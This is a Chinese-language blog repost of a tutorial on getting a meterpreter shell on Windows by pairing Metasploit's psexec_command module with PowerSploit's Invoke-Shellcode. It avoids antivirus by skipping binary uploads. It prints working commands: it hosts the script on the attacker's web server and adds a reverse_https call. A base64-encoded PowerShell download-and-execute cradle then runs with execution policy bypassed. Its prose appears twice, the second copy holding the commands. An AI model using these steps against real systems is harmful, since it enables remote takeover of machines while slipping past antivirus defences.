PowerSploit+Metasploit=Shells
程序员文章站
2022-07-10 10:34:47
Metasploit支持类似PSEXEC 与 hash注入的功能,不幸的是,如果AV产品拥有删除二进制上传服务的话,它的功能大多是没用的。最近,有一个模块(/auxiliary/admin/s...
Metasploit支持类似PSEXEC 与 hash注入的功能,不幸的是,如果AV产品拥有删除二进制上传服务的话,它的功能大多是没用的。最近,有一个模块(/auxiliary/admin/smb/psexec_command),它允许你运行一个Windows命令来发现哈希值或证书(不包括AV产品)。但我们使用的是不完整的的meterpreter shell。我们可以打开一个命令到Meterpreter shell 与 PowerSploit + Invoke-Shellcode.ps1。
基本步骤:
环境:KaLi linux
kalilinux的PowerSploit的版本目前已过时了,所以我要运行:
现在,我们有脚本代码托管,还需构建要执行的命令。虽然我们可以编码整个命令,但我发现,构建一个小型脚本会更加可靠。我们可以用同样的方法在一前一后使用。
基本上,我们是要将简短的Base64编码脚本块来把我们的脚本其余的部分拆除:
接下来运行 multi/handler 与 reverse_https:
最后,我们运行的模块。用单一的命令来运行这个上传二进制服务的文件。这个命令是一个PowerShell脚本编码,这是拉低较大调用的shellcode脚本。调用ShellCode是确定系统是否是x86或x64,
注入meterpreter的shellcode到一个适当的环境中:
最终的结果是一个meterpreter shell,相比psexec_command模块,无需编写更多的磁盘。
我希望你觉得它对你有用,也许有人会得到启发,将这一切做成一个自动化模块
基本步骤:
环境:KaLi linux
kalilinux的PowerSploit的版本目前已过时了,所以我要运行:
wget -O /var/www/payload https://raw.github.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1
接下来,我们需要添加相应的函数来调用LHOST和Lport的参数,并确保Apache正在运行echo "Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $lhost -Lport $lport -Force" >> /var/www/payload
添加调用的函数:现在,我们有脚本代码托管,还需构建要执行的命令。虽然我们可以编码整个命令,但我发现,构建一个小型脚本会更加可靠。我们可以用同样的方法在一前一后使用。
基本上,我们是要将简短的Base64编码脚本块来把我们的脚本其余的部分拆除:
scriptblock="iex (New-Object Net.WebClient).DownloadString("http://$lhost/payload")" encode="`echo $scriptblock | base64 -w 0`"
command="cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc $encode" echo $command
接下来运行 multi/handler 与 reverse_https:
最后,我们运行的模块。用单一的命令来运行这个上传二进制服务的文件。这个命令是一个PowerShell脚本编码,这是拉低较大调用的shellcode脚本。调用ShellCode是确定系统是否是x86或x64,
注入meterpreter的shellcode到一个适当的环境中:
最终的结果是一个meterpreter shell,相比psexec_command模块,无需编写更多的磁盘。
我希望你觉得它对你有用,也许有人会得到启发,将这一切做成一个自动化模块